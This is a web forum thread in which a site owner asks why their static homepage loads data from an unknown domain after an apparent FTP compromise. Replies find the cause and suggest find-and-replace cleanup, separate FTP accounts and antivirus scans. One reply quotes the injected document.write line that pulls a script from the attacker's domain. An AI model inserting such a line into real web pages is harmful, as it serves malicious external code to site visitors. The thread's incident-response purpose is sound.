Mysterious url in our html website

Question

Dear Community members,

The home-page of our static html website http://www.iffort.com is transferring data from a mysterious website rawalrohi.com. You can check this by going to iffort.com and noticing the footer there. It says transferring data from rawalrohi.com.

From our side we did the following things to rectify the issue

a.) Analyze the source-code of all pages. We checked the code and found out that a script src=http://rawalrohi.com/images/ART.php was inserted in all pages. We removed this script from all the ‘html’ pages of the website

b.)Next we spoke to the hosting company, they said they can provide us a back up of the site. We have the backup but haven’t used it to restore the site.

c.)Lastly, we have changed the FTP password because we were told that somebody could have hacked our FTP password.

Despite doing this the home-page still says transferring data from rawalrohi.com. The view source doesn’t reveal the URL. This is slowing down our website.

Any help is greatly appreciated.

Answer 1

Your page references a file called "js/hyperlinked_Images.js" Have a look at this file, right near the bottom:

...
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');

Now if you'll excuse me, I'm go to run a quick AV scan on my system ;)

Answer 2

I just recently saw this on a clients website, a different url but same type of code injection was in all of their files. To fix the problem, I download the site and I used Visual Studio to do a sitewide "find & replace" on the string. This solved the problem for me. I suggest you do something similar for all files, you might have missed one. My clients site had html/htm/aspx files that were all infected, ISP made the same statement that the FTP password was probably compromised...

Answer 3

Make sure you on your antivirus. Whenever the your website loading funny external script like adware, spyware, your antivirus will alert you.

Answer 4

make sure you don't use one FTP account for everything, control the FTP user control, it will help you to manage your website.

Answer 5

I've seen similar behaviour a while back. In that specific case, the ftp-password was compromised: it was read from the clients desktop PC by malware that collected stored ftp passwords.

We found this out only after the password was changed and compromised again within a few days.

So make sure you scan all machines that 'know' the ftp password with a decent AV-scanner.